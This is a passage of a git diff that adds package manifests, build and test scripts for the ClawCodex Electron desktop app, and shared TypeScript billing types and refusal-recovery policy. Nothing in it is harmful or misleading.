+        "radix-ui": "^1.6.0",
+        "react-textarea-autosize": "^8.5.9",
+        "safe-content-frame": "^0.0.21",
+        "zod": "^4.4.3",
+        "zustand": "^5.0.14"
+      },
+      "peerDependencies": {
+        "@types/react": "*",
+        "@types/react-dom": "*",
+        "react": "^18 || ^19",
+        "react-dom": "^18 || ^19"
+      },
+      "peerDependenciesMeta": {
+        "@types/react": {
+          "optional": true
+        },
+        "@types/react-dom": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@assistant-ui/react-streamdown": {
+      "version": "0.3.5",
+      "resolved": "https://registry.npmjs.org/@assistant-ui/react-streamdown/-/react-streamdown-0.3.5.tgz",
+      "integrity": "sha512-xl4UoFGtCfeUk6T/F9d94djE4Vc2KPQ8I3vy7cV0fb8IGN63yHt/rVzehxMSX4XT81Qrpsa0KUQhJOo/8zxdkw==",
+      "license": "MIT",
+      "dependencies": {
+        "rehype-harden": "^1.1.8",
+        "rehype-raw": "^7.0.0",
+        "rehype-sanitize": "^6.0.0",
+        "remend": "^1.3.0",
+        "streamdown": "^2.5.0"
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+      "funding": {
+        "url": "https://github.com/sponsors/colinhacks"
+      }
+    },
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+      "license": "MIT",
+      "engines": {
+        "node": ">=12.20.0"
+      },
+      "peerDependencies": {
+        "@types/react": ">=18.0.0",
+        "immer": ">=9.0.6",
+        "react": ">=18.0.0",
+        "use-sync-external-store": ">=1.2.0"
+      },
+      "peerDependenciesMeta": {
+        "@types/react": {
+          "optional": true
+        },
+        "immer": {
+          "optional": true
+        },
+        "react": {
+          "optional": true
+        },
+        "use-sync-external-store": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/zwitch": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz",
+      "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==",
+      "license": "MIT",
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/wooorm"
+      }
+    },
+    "packages/shared": {
+      "name": "@clawcodex/shared",
+      "version": "0.0.0",
+      "devDependencies": {
+        "typescript": "6.0.3"
+      }
+    }
+  }
+}
diff --git a/ui-desktop/package.json b/ui-desktop/package.json
new file mode 100644
index 000000000..0d8464f55
--- /dev/null
+++ b/ui-desktop/package.json
@@ -0,0 +1,282 @@
+{
+  "name": "clawcodex-desktop",
+  "productName": "ClawCodex",
+  "private": true,
+  "version": "0.17.0",
+  "description": "Native desktop shell for ClawCodex.",
+  "author": "ClawCodex contributors",
+  "type": "module",
+  "main": "dist/electron-main.mjs",
+  "engines": {
+    "node": ">=22.22.0"
+  },
+  "scripts": {
+    "clean": "npm run clean:e2e && npm run clean:renderer && npm run clean:electron",
+    "clean:e2e": "tsc --build tsconfig.e2e.json --clean",
+    "clean:renderer": "tsc --build tsconfig.json --clean ",
+    "clean:electron": "tsc --build tsconfig.electron.json --clean",
+    "dev": "concurrently -k \"npm:dev:renderer\" \"npm:dev:electron\"",
+    "dev:fake-boot": "cross-env CLAWCODEX_DESKTOP_BOOT_FAKE=1 CLAWCODEX_DESKTOP_BOOT_FAKE_STEP_MS=650 npm run dev",
+    "dev:mock": "node scripts/dev-mock.mjs",
+    "dev:renderer": "node scripts/assert-root-install.mjs && npm run clean:renderer && vite --host 127.0.0.1 --port 5174",
+    "dev:electron": "tsc --build tsconfig.electron.json && wait-on http://127.0.0.1:5174 && node scripts/bundle-electron-main.mjs --dev && cross-env XCURSOR_SIZE=24 CLAWCODEX_DESKTOP_DEV_SERVER=http://127.0.0.1:5174 electron .",
+    "profile:main": "tsc --build tsconfig.electron.json && wait-on http://127.0.0.1:5174 && node scripts/bundle-electron-main.mjs --dev && cross-env XCURSOR_SIZE=24 CLAWCODEX_DESKTOP_DEV_SERVER=http://127.0.0.1:5174 electron --inspect=9229 .",
+    "profile:main:cpu": "tsc --build tsconfig.electron.json && wait-on http://127.0.0.1:5174 && node scripts/bundle-electron-main.mjs --dev && cross-env XCURSOR_SIZE=24 NODE_OPTIONS=--cpu-prof CLAWCODEX_DESKTOP_DEV_SERVER=http://127.0.0.1:5174 electron .",
+    "start": "npm run build && electron .",
+    "prebuild": "npm run clean",
+    "build": "node scripts/assert-root-install.mjs && node scripts/write-build-stamp.mjs && vite build && node scripts/bundle-electron-main.mjs && node scripts/stage-native-deps.mjs",
+    "postbuild": "node scripts/assert-dist-built.mjs",
+    "prebuilder": "node scripts/patch-electron-builder-mac-binary.mjs",
+    "builder": "cross-env NODE_OPTIONS=--max-old-space-size=16384 node scripts/run-electron-builder.mjs",
+    "pack": "npm run build && npm run builder -- --dir",
+    "dist": "npm run build && npm run builder",
+    "dist:mac": "npm run build && npm run builder -- --mac",
+    "dist:mac:dmg": "npm run build && npm run builder -- --mac dmg",
+    "dist:mac:zip": "npm run build && npm run builder -- --mac zip",
+    "dist:win": "npm run build && npm run builder -- --win",
+    "dist:win:msi": "npm run build && npm run builder -- --win msi",
+    "dist:win:nsis": "npm run build && npm run builder -- --win nsis",
+    "dist:linux": "npm run build && npm run builder -- --linux AppImage deb rpm",
+    "perf": "node scripts/perf/run.mjs",
+    "perf:serve": "node scripts/perf/serve.mjs",
+    "test:desktop": "node scripts/test-desktop.mjs",
+    "test:desktop:all": "node scripts/test-desktop.mjs all",
+    "test:desktop:dmg": "node scripts/test-desktop.mjs dmg",
+    "test:desktop:nsis": "node scripts/test-desktop.mjs nsis",
+    "test:desktop:existing": "node scripts/test-desktop.mjs existing",
+    "test:desktop:fresh": "node scripts/test-desktop.mjs fresh",
+    "typecheck": "tsc -p . --noEmit && tsc -p tsconfig.electron.json --noEmit && tsc -p tsconfig.e2e.json --noEmit",
+    "lint": "eslint src/ electron/",
+    "lint:fix": "eslint src/ electron/ --fix",
+    "fmt": "prettier --write 'src/**/*.{ts,tsx}' 'electron/**/*.ts' 'vite.config.ts'",
+    "fix": "npm run lint:fix && npm run fmt",
+    "test:ui": "vitest run --project ui",
+    "test:desktop:platforms": "vitest run --project electron",
+    "test": "vitest run",
+    "preview": "node scripts/assert-root-install.mjs && vite preview --host 127.0.0.1 --port 4174",
+    "check:test:desktop:platforms": "npm run test:desktop:platforms",
+    "check:test:ui": "npm run test:ui",
+    "check:test:desktop:all": "npm run test:desktop:all",
+    "check:lint": "npm run typecheck && npm run lint",
+    "check": "npm run check:lint && npm run check:test:ui && npm run test:desktop:platforms && npm run test:desktop:all",
+    "test:e2e": "npm run build && playwright test e2e/",
+    "test:e2e:visual": "npm run build && WLR_BACKENDS=headless WLR_NO_HARDWARE_CURSORS=1 cage -- npx playwright test e2e/ --reporter=list",
+    "test:e2e:update-snapshots": "npm run build && WLR_BACKENDS=headless WLR_NO_HARDWARE_CURSORS=1 cage -- npx playwright test e2e/ --reporter=list --update-snapshots"
+  },
+  "dependencies": {
+    "@assistant-ui/core": "0.2.23",
+    "@assistant-ui/react": "0.14.24",
+    "@assistant-ui/react-streamdown": "0.3.5",
+    "@audiowave/react": "0.6.2",
+    "@chenglou/pretext": "0.0.6",
+    "@clawcodex/shared": "file:./packages/shared",
+    "@codemirror/commands": "6.10.4",
+    "@codemirror/language": "6.12.4",
+    "@codemirror/language-data": "6.5.2",
+    "@codemirror/state": "6.7.1",
+    "@codemirror/view": "6.43.6",
+    "@dnd-kit/core": "6.3.1",
+    "@dnd-kit/sortable": "10.0.0",
+    "@dnd-kit/utilities": "3.2.2",
+    "@icons-pack/react-simple-icons": "13.11.1",
+    "@lezer/highlight": "1.2.3",
+    "@nanostores/react": "1.1.0",
+    "@nous-research/ui": "0.18.2",
+    "@streamdown/code": "1.1.1",
+    "@tabler/icons-react": "3.44.0",
+    "@tailwindcss/typography": "0.5.20",
+    "@tailwindcss/vite": "4.3.3",
+    "@tanstack/react-query": "5.101.2",
+    "@tanstack/react-virtual": "3.14.6",
+    "@vscode/codicons": "0.0.45",
+    "@xterm/addon-fit": "0.11.0",
+    "@xterm/addon-serialize": "0.14.0",
+    "@xterm/addon-unicode11": "0.9.0",
+    "@xterm/addon-web-links": "0.12.0",
+    "@xterm/addon-webgl": "0.19.0",
+    "@xterm/xterm": "6.0.0",
+    "class-variance-authority": "0.7.1",
+    "clsx": "2.1.1",
+    "cmdk": "1.1.1",
+    "d3-force": "3.0.0",
+    "dnd-core": "14.0.1",
+    "dompurify": "3.4.12",
+    "emojibase-data": "16.0.3",
+    "fflate": "0.8.3",
+    "frimousse": "0.3.0",
+    "hast-util-from-html-isomorphic": "2.0.0",
+    "hast-util-to-text": "4.0.2",
+    "ignore": "7.0.6",
+    "katex": "0.16.47",
+    "mermaid": "11.16.0",
+    "motion": "12.42.2",
+    "nanostores": "1.4.0",
+    "node-pty": "1.1.0",
+    "radix-ui": "1.6.7",
+    "react": "19.2.7",
+    "react-arborist": "3.13.2",
+    "react-dnd-html5-backend": "14.1.0",
+    "react-dom": "19.2.7",
+    "react-router": "8.3.0",
+    "react-shiki": "0.9.3",
+    "remark-math": "6.0.0",
+    "remend": "1.3.0",
+    "shiki": "4.3.1",
+    "simple-git": "3.36.0",
+    "streamdown": "2.5.0",
+    "tailwind-merge": "3.6.0",
+    "tailwindcss": "4.3.3",
+    "tw-shimmer": "0.4.12",
+    "unicode-animations": "1.0.3",
+    "unified": "11.0.5",
+    "unist-util-visit-parents": "6.0.2",
+    "use-stick-to-bottom": "1.1.6",
+    "vfile": "6.0.3",
+    "web-haptics": "0.0.6"
+  },
+  "devDependencies": {
+    "@electron/rebuild": "4.2.0",
+    "@eslint/js": "9.39.5",
+    "@playwright/test": "1.58.2",
+    "@testing-library/dom": "10.4.1",
+    "@testing-library/react": "16.3.2",
+    "@types/d3-force": "3.0.10",
+    "@types/hast": "3.0.5",
+    "@types/node": "22.20.1",
+    "@types/react": "19.2.17",
+    "@types/react-dom": "19.2.3",
+    "@vitejs/plugin-react": "6.0.3",
+    "bippy": "0.5.43",
+    "concurrently": "10.0.4",
+    "cross-env": "10.1.0",
+    "electron": "40.10.2",
+    "electron-builder": "26.15.3",
+    "esbuild": "0.28.1",
+    "eslint": "9.39.5",
+    "eslint-plugin-perfectionist": "5.10.0",
+    "eslint-plugin-react-hooks": "7.1.1",
+    "eslint-plugin-unused-imports": "4.4.1",
+    "globals": "17.7.0",
+    "jsdom": "29.1.1",
+    "prettier": "3.9.5",
+    "rcedit": "5.0.2",
+    "tsx": "4.23.1",
+    "typescript": "6.0.3",
+    "typescript-eslint": "8.64.0",
+    "vite": "8.2.0",
+    "vitest": "4.1.10",
+    "wait-on": "9.0.10"
+  },
+  "build": {
+    "electronVersion": "40.10.2",
+    "appId": "com.clawcodex.desktop",
+    "productName": "ClawCodex",
+    "executableName": "ClawCodex",
+    "protocols": [
+      {
+        "name": "ClawCodex Protocol",
+        "schemes": [
+          "clawcodex"
+        ]
+      }
+    ],
+    "artifactName": "ClawCodex-${version}-${os}-${arch}.${ext}",
+    "icon": "assets/icon",
+    "directories": {
+      "output": "release"
+    },
+    "files": [
+      "dist/**",
+      "assets/**",
+      "public/**",
+      "package.json"
+    ],
+    "beforeBuild": "scripts/before-build.mjs",
+    "beforePack": "scripts/before-pack.mjs",
+    "afterPack": "scripts/after-pack.mjs",
+    "extraResources": [
+      {
+        "from": "build/install-stamp.json",
+        "to": "install-stamp.json"
+      },
+      {
+        "from": "assets/icon.ico",
+        "to": "icon.ico"
+      }
+    ],
+    "asar": true,
+    "afterSign": "scripts/notarize.mjs",
+    "asarUnpack": [
+      "**/*.node",
+      "**/prebuilds/**",
+      "dist/**"
+    ],
+    "mac": {
+      "category": "public.app-category.developer-tools",
+      "entitlements": "electron/entitlements.mac.plist",
+      "entitlementsInherit": "electron/entitlements.mac.inherit.plist",
+      "extendInfo": {
+        "CFBundleDisplayName": "ClawCodex",
+        "CFBundleExecutable": "ClawCodex",
+        "CFBundleName": "ClawCodex",
+        "NSAudioCaptureUsageDescription": "ClawCodex uses audio capture for voice conversations.",
+        "NSCameraUsageDescription": "ClawCodex uses the camera when a plugin or feature you enable requests it.",
+        "NSMicrophoneUsageDescription": "ClawCodex uses the microphone for voice input and voice conversations."
+      },
+      "gatekeeperAssess": false,
+      "hardenedRuntime": true,
+      "target": [
+        "dmg",
+        "zip"
+      ]
+    },
+    "dmg": {
+      "title": "Install ClawCodex",
+      "backgroundColor": "#f5f5f7",
+      "iconSize": 96,
+      "window": {
+        "width": 560,
+        "height": 360
+      },
+      "contents": [
+        {
+          "x": 160,
+          "y": 170,
+          "type": "file"
+        },
+        {
+          "x": 400,
+          "y": 170,
+          "type": "link",
+          "path": "/Applications"
+        }
+      ]
+    },
+    "win": {
+      "legalTrademarks": "ClawCodex",
+      "target": [
+        "nsis",
+        "msi"
+      ],
+      "signAndEditExecutable": false
+    },
+    "linux": {
+      "category": "Development",
+      "maintainer": "ClawCodex Maintainers <maintainers@clawcodex.dev>",
+      "synopsis": "Native desktop shell for ClawCodex.",
+      "target": [
+        "AppImage",
+        "deb",
+        "rpm"
+      ]
+    },
+    "nsis": {
+      "oneClick": false,
+      "allowToChangeInstallationDirectory": true,
+      "perMachine": false,
+      "shortcutName": "ClawCodex",
+      "uninstallDisplayName": "ClawCodex",
+      "warningsAsErrors": false
+    }
+  }
+}
diff --git a/ui-desktop/packages/shared/eslint.config.mjs b/ui-desktop/packages/shared/eslint.config.mjs
new file mode 100644
index 000000000..ea43653a9
--- /dev/null
+++ b/ui-desktop/packages/shared/eslint.config.mjs
@@ -0,0 +1,5 @@
+import shared from '../../eslint.config.shared.mjs'
+
+export default [
+  ...shared
+]
diff --git a/ui-desktop/packages/shared/package.json b/ui-desktop/packages/shared/package.json
new file mode 100644
index 000000000..e926ff861
--- /dev/null
+++ b/ui-desktop/packages/shared/package.json
@@ -0,0 +1,24 @@
+{
+  "name": "@clawcodex/shared",
+  "private": true,
+  "version": "0.0.0",
+  "type": "module",
+  "exports": {
+    ".": "./src/index.ts",
+    "./billing": "./src/billing-types.ts",
+    "./billing-policy": "./src/billing-policy.ts",
+    "./charge-settlement": "./src/charge-settlement.ts",
+    "./skin": "./src/skin.ts"
+  },
+  "types": "./src/index.ts",
+  "scripts": {
+    "lint": "eslint src/",
+    "lint:fix": "eslint src/ --fix",
+    "fix": "npm run lint:fix",
+    "typecheck": "tsc -p . --noEmit",
+    "check": "npm run typecheck && npm run lint"
+  },
+  "devDependencies": {
+    "typescript": "6.0.3"
+  }
+}
diff --git a/ui-desktop/packages/shared/src/billing-payment-method.test-d.ts b/ui-desktop/packages/shared/src/billing-payment-method.test-d.ts
new file mode 100644
index 000000000..7d2de8dba
--- /dev/null
+++ b/ui-desktop/packages/shared/src/billing-payment-method.test-d.ts
@@ -0,0 +1,24 @@
+/**
+ * Compile-time guard for BillingPaymentMethod.
+ *
+ * There is nothing to run here — the point is that `tsc` accepts this file.
+ * An earlier revision typed the fallback arm's `kind` as `string & {}`, which
+ * makes the discriminant non-literal and silently defeats narrowing for every
+ * arm: the `pm.brand` read below stops compiling. Keeping this file honest
+ * keeps `kind` narrowable.
+ */
+
+import type { BillingPaymentMethod } from './billing-types'
+
+export function describePaymentMethod(pm: BillingPaymentMethod): string {
+  switch (pm.kind) {
+    case 'card':
+      return pm.wallet ? `${pm.wallet} ${pm.brand} ${pm.last4}` : `${pm.brand} ${pm.last4}`
+
+    case 'link':
+      return pm.email ?? 'Link'
+
+    case 'unknown':
+      return pm.raw_kind
+  }
+}
diff --git a/ui-desktop/packages/shared/src/billing-policy.ts b/ui-desktop/packages/shared/src/billing-policy.ts
new file mode 100644
index 000000000..359abe3a7
--- /dev/null
+++ b/ui-desktop/packages/shared/src/billing-policy.ts
@@ -0,0 +1,46 @@
+import type { KnownBillingRefusalCode } from './billing-types.js'
+
+export type BillingRecovery = 'login' | 'none' | 'portal' | 'reconnect' | 'retry' | 'step_up'
+
+export interface BillingRefusalPolicy {
+  recovery: BillingRecovery
+  ambiguousMidPoll?: true
+  reuseIdempotencyKey?: true
+}
+
+export const BILLING_REFUSAL_POLICY: Record<KnownBillingRefusalCode, BillingRefusalPolicy> = {
+  auto_top_up_disabled_failures: { recovery: 'portal' },
+  cli_billing_disabled: { recovery: 'portal' },
+  consent_required: { recovery: 'portal' },
+  endpoint_unavailable: { recovery: 'retry', reuseIdempotencyKey: true },
+  idempotency_conflict: { recovery: 'none' },
+  idempotency_key_required: { recovery: 'none' },
+  // Deliberate: losing scope mid-poll cannot undo an accepted charge, so its outcome is unknown.
+  insufficient_scope: { recovery: 'step_up', ambiguousMidPoll: true },
+  internal_error: { recovery: 'retry' },
+  invalid_charge_id: { recovery: 'none' },
+  invalid_request: { recovery: 'none' },
+  monthly_cap_exceeded: { recovery: 'portal' },
+  network_error: { recovery: 'retry', reuseIdempotencyKey: true },
+  no_payment_method: { recovery: 'portal' },
+  org_access_denied: { recovery: 'portal' },
+  preview_rejected: { recovery: 'none' },
+  rate_limited: { recovery: 'retry', reuseIdempotencyKey: true },
+  remote_spending_disabled: { recovery: 'portal' },
+  remote_spending_revoked: { recovery: 'reconnect', ambiguousMidPoll: true },
+  role_required: { recovery: 'portal' },
+  session_revoked: { recovery: 'login', ambiguousMidPoll: true },
+  stripe_unavailable: { recovery: 'retry', reuseIdempotencyKey: true },
+  temporarily_unavailable: { recovery: 'retry', reuseIdempotencyKey: true },
+  upgrade_cap_exceeded: { recovery: 'none' },
+  validation_failed: { recovery: 'none' }
+}
+
+export function refusalPolicy(code: string): BillingRefusalPolicy {
+  if (Object.hasOwn(BILLING_REFUSAL_POLICY, code)) {
+    return BILLING_REFUSAL_POLICY[code as KnownBillingRefusalCode]
+  }
+
+  // Unknown codes must still show the server message; no special handling is the safe fallback.
+  return { recovery: 'none' }
+}
diff --git a/ui-desktop/packages/shared/src/billing-types.ts b/ui-desktop/packages/shared/src/billing-types.ts
new file mode 100644
index 000000000..21b356e2f
--- /dev/null
+++ b/ui-desktop/packages/shared/src/billing-types.ts
@@ -0,0 +1,363 @@
+/**
+ * Shared Remote Spending wire contracts.
+ *
+ * These shapes round-trip between the Python tui_gateway and TypeScript clients
+ * such as the TUI and desktop app. Keep rendering state, client logic, and the
+ * gateway event union out of this runtime-free module.
+ */
+
+// ── Billing wall (inference credit exhaustion) ───────────────────────
+
+/**
+ * Structured billing-wall descriptor emitted by the gateway on the
+ * `message.complete` event (`payload.billing`) when an inference call fails
+ * because the account is out of credits / payment is required — mirrors the
+ * Python `agent/billing_links.py::BillingBlock`.
+ *
+ * Detection is backend-only (`agent/error_classifier.py` →
+ * `FailoverReason.billing`), so every surface renders from this one signal and
+ * never re-classifies free-form error text. `is_nous` routes recovery: Nous is
+ * the managed route with in-app billing (desktop Settings → Billing, TUI
+ * `/topup`), while third-party providers deep-link to `billing_url`.
+ */
+export interface BillingBlock {
+  provider: string
+  provider_label: string
+  model: string
+  billing_url: string | null
+  is_nous: boolean
+  message: string
+}
+
+// ── Remote Spending (Phase 2b) ───────────────────────────────────────
+
+/** One serialized usage bar (mirrors server `_serialize_usage_bar`). */
+export interface UsageBarData {
+  kind: 'plan' | 'topup'
+  remaining_display: string
+  total_display: string
+  spent_display: string
+  pct_used: null | number
+  fill_fraction: number
+}
+
+/** The shared dollar usage model (mirrors server `_serialize_usage_model`). */
+export interface UsageModelData {
+  available: boolean
+  status?: string
+  plan_name?: null | string
+  renews_at?: null | string
+  renews_display?: null | string
+  subscription_remaining_display?: null | string
+  topup_remaining_display?: null | string
+  total_spendable_display?: null | string
+  has_topup?: boolean
+  plan_bar?: null | UsageBarData
+  topup_bar?: null | UsageBarData
+}
+
+/**
+ * The closed set of refusal/error codes the gateway serializes today
+ * (`_serialize_billing_error` preserves the raw NAS code where one exists,
+ * plus the client-originated transport codes). Closed on purpose: an
+ * exhaustive `Record<KnownBillingRefusalCode, …>` (classification tables,
+ * copy maps, tests) gets a compile error when a code is added here but not
+ * mapped.
+ */
+export type KnownBillingRefusalCode =
+  | 'auto_top_up_disabled_failures'
+  | 'cli_billing_disabled'
+  | 'consent_required'
+  | 'endpoint_unavailable'
+  | 'idempotency_conflict'
+  | 'idempotency_key_required'
+  | 'insufficient_scope'
+  | 'internal_error'
+  | 'invalid_charge_id'
+  | 'invalid_request'
+  | 'monthly_cap_exceeded'
+  | 'network_error'
+  | 'no_payment_method'
+  | 'org_access_denied'
+  | 'preview_rejected'
+  | 'rate_limited'
+  | 'remote_spending_disabled'
+  | 'remote_spending_revoked'
+  | 'role_required'
+  | 'session_revoked'
+  | 'stripe_unavailable'
+  | 'temporarily_unavailable'
+  | 'upgrade_cap_exceeded'
+  | 'validation_failed'
+
+/**
+ * What the wire actually carries: a known code, or an unknown future one
+ * (e.g. the NAS W3 card-health family). The `(string & {})` arm keeps unknown
+ * codes assignable — consumers must keep an unknown-code fallback branch.
+ */
+export type BillingRefusalCode = KnownBillingRefusalCode | (string & {})
+
+/**
+ * The closed set of terminal reasons a settled-poll charge can fail with (NAS
+ * `cli-charge-failure-reason.ts` — all four values), plus the raw Stripe code
+ * NAS pre-#711 leaks for SCA-on-upgrade.
+ */
+export type KnownChargeFailureReason =
+  | 'authentication_required'
+  | 'card_declined'
+  | 'payment_method_expired'
+  | 'processing_error'
+  | 'subscription_payment_intent_requires_action'
+
+/** Wire shape: a known reason or an unknown future one; degrade safely. */
+export type ChargeFailureReason = KnownChargeFailureReason | (string & {})
+
+export interface BillingCardInfo {
+  brand: string
+  last4: string
+  masked: string
+  /** "Visa ····4242 — the card on your subscription" (= masked when provenance unknown). */
+  display?: string
+  /** Raw card-resolution rung ("subPin" | "customerDefault" | "autoRefill") or null on older NAS. */
+  resolved_via?: null | string
+}
+
+/**
+ * The org's payment method on file.
+ *
+ * This is the authoritative field. `card` is a lossy older view of the same
+ * thing: it is populated only when the method is a card, and is null for
+ * every other kind — so `!card` does NOT mean "no payment method on file".
+ * A surface that gates on `card` alone will tell a Link customer they have
+ * nothing on file.
+ *
+ * Older gateways omit this field entirely, so absence means "this gateway
+ * didn't say", not "nothing on file".
+ *
+ * A kind this client predates arrives as `unknown` rather than as its real
+ * name, which keeps `kind` narrowable — every arm is a literal, so
+ * `if (pm.kind === 'card')` gives you the card fields. (The `string & {}`
+ * trick used by BillingRefusalCode does not work here: on an object union it
+ * makes the discriminant non-literal and defeats narrowing for every arm.)
+ */
+export type BillingPaymentMethod =
+  | {
+      kind: 'card'
+      brand: string
+      last4: string
+      /** Wallet that wrapped the card (e.g. "apple_pay", "google_pay"), if any. */
+      wallet: string | null
+      /** Card-resolution rung ("subPin" | "customerDefault" | "autoRefill") or null. */
+      resolved_via: null | string
+    }
+  | {
+      kind: 'link'
+      /** Link displays as the account email; can be absent on the Stripe side. */
+      email: null | string
+      resolved_via: null | string
+    }
+  | {
+      kind: 'unknown'
+      /** What the server actually called it, for logs and neutral copy. */
+      raw_kind: string
+      resolved_via: null | string
+    }
+
+export interface BillingMonthlyCap {
+  is_default_ceiling: boolean
+  limit_display: string
+  limit_usd: string | null
+  spent_display: string
+  spent_this_month_usd: string | null
+}
+
+export interface BillingAutoReload {
+  // The gateway's _parse_auto_reload_card returns None for a missing/unknown-kind
+  // card, and _serialize_billing_state emits `card: null` — so the wire really can
+  // carry null. Consumers must keep a null branch (treat it like the canonical card).
+  card:
+    | { kind: 'canonical' }
+    | {
+        kind: 'distinct'
+        payment_method_id: string
+        brand: string | null
+        last4: string | null
+      }
+    | { kind: 'none' }
+    | null
+  enabled: boolean
+  reload_to_display: string
+  reload_to_usd: string | null
+  threshold_display: string
+  threshold_usd: string | null
+}
+
+export interface BillingStateResponse {
+  auto_reload: BillingAutoReload | null
+  balance_display: string
+  balance_usd: string | null
+  // NAS capability (canChangePlan) when the server sends it; legacy role fallback otherwise
+  can_change_plan?: boolean
+  can_charge: boolean
+  card: BillingCardInfo | null
+  // Typed payment-method union (newer gateways only); `card` remains the
+  // compatibility field and stays populated for kind "card".
+  payment_method?: BillingPaymentMethod | null
+  charge_presets: string[]
+  charge_presets_display: string[]
+  cli_billing_enabled: boolean
+  error?: string | null
+  is_admin: boolean
+  logged_in: boolean
+  max_usd: string | null
+  min_usd: string | null
+  monthly_cap: BillingMonthlyCap | null
+  ok: boolean
+  org_name: string | null
+  portal_url: string | null
+  role: string | null
+  // Shared dollar usage model (two-bar view), embedded by the gateway so /topup
+  // renders the same bars as /usage and /subscription from this single fetch.
+  usage?: UsageModelData
+}
+
+/**
+ * Raw error payload echoed from the server (`_serialize_billing_error`). Carries
+ * the extra fields a few error codes attach — notably `remainingUsd` on
+ * `monthly_cap_exceeded` — so the client can render the same detail the CLI does.
+ */
+export interface BillingErrorPayload {
+  isDefaultCeiling?: boolean
+  remainingUsd?: string
+}
+
+export interface BillingChargeResponse {
+  actor?: string
+  charge_id?: string
+  code?: string
+  error?: BillingRefusalCode
+  idempotency_key?: string
+  message?: string
+  ok: boolean
+  payload?: BillingErrorPayload
+  portal_url?: string | null
+  recovery?: string
+  retry_after?: number | null
+}
+
+export interface BillingChargeStatusResponse {
+  amount_usd?: string | null
+  error?: BillingRefusalCode
+  message?: string
+  ok: boolean
+  payload?: BillingErrorPayload
+  portal_url?: string | null
+  reason?: ChargeFailureReason | null
+  retry_after?: number | null
+  settled_at?: string | null
+  status?: string
+}
+
+export interface BillingMutationResponse {
+  actor?: string
+  code?: string
+  error?: BillingRefusalCode
+  granted?: boolean
+  message?: string
+  ok: boolean
+  /**
+   * On ok:false, the structured error payload. On ok:true the gateway passes
+   * through the raw NAS success body (e.g. rail, changeType, cancelAtPeriodEnd
+   * for subscription mutations), which has no stable shape here.
+   */
+  payload?: BillingErrorPayload | Record<string, unknown>
+  portal_url?: string | null
+  recovery?: string
+  retry_after?: number | null
+}
+
+export interface SubscriptionTierOption {
+  tier_id: string
+  name: string
+  tier_order: number                  // sorts the picker + upgrade/downgrade hint
+  dollars_per_month_display: string   // pre-formatted ($X / $X.YY)
+  monthly_credits: string | null
+  is_current: boolean                 // the active plan: shown, not selectable
+  is_enabled: boolean                 // false = grandfathered current tier
+}
+
+export interface SubscriptionStateResponse {
+  ok: boolean
+  logged_in: boolean
+  is_admin: boolean
+  can_change_plan: boolean        // NAS capability (canChangePlan: OWNER/ADMIN/FINANCE_ADMIN); legacy role fallback when the server omits it
+  org_name: string | null
+  org_id: string | null           // org.id from the NAS response
+  role: string | null
+  context: 'personal' | 'team'   // personal account vs team/org terminal
+  current: {
+    tier_id: string | null        // null = free (no active sub)
+    tier_name: string | null
+    monthly_credits: string | null
+    credits_remaining: string | null
+    cycle_ends_at: string | null  // ISO
+    pending_downgrade_tier_name: string | null
+    pending_downgrade_at: string | null
+    pending_downgrade_display: string | null  // formatted pending_downgrade_at
+    cancel_at_period_end: boolean // subscription scheduled to cancel at period end
+    cancellation_effective_at: string | null  // ISO when cancellation takes effect
+    cancellation_effective_display: string | null  // formatted cancellation_effective_at
+  } | null
+  tiers: SubscriptionTierOption[]  // selectable catalog for the in-terminal picker
+  portal_url: string | null
+  error?: string | null
+  // Shared dollar usage model (two-bar view), embedded by the gateway so the
+  // overlay renders the same bars as /usage from this single fetch.
+  usage?: UsageModelData
+}
+
+// A chargeless quote (POST /subscription/preview) of what a change would do.
+// `effect` drives the confirm copy; a failed preview reuses the typed-error
+// envelope fields (same as the mutations) so a 403 still triggers the step-up.
+export interface SubscriptionPreviewResponse {
+  ok: boolean
+  effect?: 'charge_now' | 'scheduled' | 'no_op' | 'blocked'
+  reason?: string | null
+  current_tier_id?: string | null
+  current_tier_name?: string | null
+  target_tier_id?: string | null
+  target_tier_name?: string | null
+  monthly_credits_delta?: string | null
+  amount_due_now_cents?: number | null  // the prorated upfront charge for an upgrade
+  effective_at?: string | null          // ISO, when a scheduled change lands
+  // typed-error envelope (present when ok=false)
+  error?: BillingRefusalCode
+  message?: string
+  portal_url?: string | null
+  retry_after?: number | null
+  payload?: BillingErrorPayload
+  actor?: string
+  code?: string
+  recovery?: string
+}
+
+// The single money route (POST /subscription/upgrade). `status` distinguishes a
+// completed upgrade from an SCA/decline that must finish in the portal at
+// `recovery_url`. `idempotency_key` is echoed so a retry reuses it.
+export interface SubscriptionUpgradeResponse {
+  ok: boolean
+  status?: 'upgraded' | 'already_on_tier' | 'requires_action' | 'payment_failed'
+  target_tier_name?: string | null
+  recovery_url?: string | null
+  reason?: ChargeFailureReason | null
+  idempotency_key?: string
+  // typed-error envelope (present when ok=false)
+  error?: BillingRefusalCode
+  message?: string
+  portal_url?: string | null
+  retry_after?: number | null
+  payload?: BillingErrorPayload
+  actor?: string
+  code?: string
+  recovery?: string
+}
diff --git a/ui-desktop/packages/shared/src/charge-settlement.ts b/ui-desktop/packages/shared/src/charge-settlement.ts
new file mode 100644
index 000000000..6e23252a7
--- /dev/null
+++ b/ui-desktop/packages/shared/src/charge-settlement.ts
@@ -0,0 +1,89 @@
+import { refusalPolicy } from './billing-policy.js'
+import type { BillingChargeStatusResponse } from './billing-types.js'
+
+export interface SettlementDeps {
+  fetchStatus(): Promise<BillingChargeStatusResponse>
+  sleep(ms: number): Promise<void>
+  isCancelled(): boolean
+  now(): number
+}
+
+export type SettlementOutcome =
+  | { kind: 'settled'; status: BillingChargeStatusResponse }
+  | { kind: 'failed'; status: BillingChargeStatusResponse }
+  | { kind: 'refused'; error: string; status: BillingChargeStatusResponse }
+  | {
+      kind: 'ambiguous'
+      error: string
+      status?: BillingChargeStatusResponse
+      cause?: unknown
+    }
+  | { kind: 'timed_out' }
+  | { kind: 'cancelled' }
+
+export const SETTLEMENT_POLL_INTERVAL_MS = 2000
+export const SETTLEMENT_POLL_CAP_MS = 5 * 60 * 1000
+export const SETTLEMENT_MAX_RETRY_AFTER_MS = 30000
+
